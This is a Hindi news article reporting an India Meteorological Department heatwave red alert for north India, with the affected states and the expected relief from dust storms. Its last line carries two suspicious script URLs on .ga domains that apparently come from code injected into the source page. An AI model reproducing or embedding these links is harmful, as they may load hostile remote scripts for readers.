आईएमडी ने अपने दैनिक बुलेटिन में कहा, “उत्तर पश्चिम भारत, मध्य भारत के मैदानी भागों और इससे लगे पूर्वी भारत के आंतरिक हिस्सों में शुष्क उत्तर-पश्चिमी हवाएं चलने से 28 मई तक इन क्षेत्रों में लू चलने की संभावना है जो 25 और 26 मई को अपने प्रचंड रूप में रह सकती है.” मैदानी क्षेत्रों में लू की घोषणा तब की जाती है जब वास्तविक अधिकतम तापमान 45 डिग्री सेल्सियस होता है, वहीं 47 डिग्री सेल्सियस या इससे अधिक तापमान की स्थिति में तीव्र लू चलती है।
आईएमडी ने अपने दैनिक बुलेटिन में कहा कि हरियाणा, चंडीगढ़, दिल्ली, राजस्थान, उत्तर प्रदेश, पूर्वी मध्य प्रदेश और विदर्भ में कुछ हिस्सों में लू चल सकती है वहीं कुछ स्थानों पर प्रचंड लू के थपेड़े महसूस किये जा सकते हैं. अगले दो-तीन दिन में पंजाब, छत्तीसगढ़, ओडिशा, गुजरात, मध्य महाराष्ट्र, मराठवाड़ा, आंध्र प्रदेश, तेलंगाना, बिहार और झारखंड में कुछ-कुछ स्थानों पर लू चलने की संभावना है।
आईएमडी किसी मौसम की तीव्रता के आधार पर हरे, पीले, नारंगी या लाल रंग आधारित चेतावनी जारी करता है. आईएमडी के एक अधिकारी ने कहा कि रेड अलर्ट की चेतावनी लोगों को दोपहर एक बजे से शाम पांच बजे तक घरों से नहीं निकलने की सलाह के साथ जारी की गयी है जिस समय लू का प्रकोप चरम पर होगा।
भारतीय मौसम विज्ञान विभाग के अनुसार उत्तर भारत के अनेक हिस्सों में 29-30 मई को धूल भरी आंधी चलने और गरज के साथ छींटे पड़ने की संभावना है जिससे लू के प्रकोप से राहत मिल सकती है. आईएमडी ने रविवार को उत्तर भारत के लिहाज से 25-26 मई के लिए रेड अलर्ट जारी किया जब लू का प्रकोप अपने चरम पर हो सकता है.https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms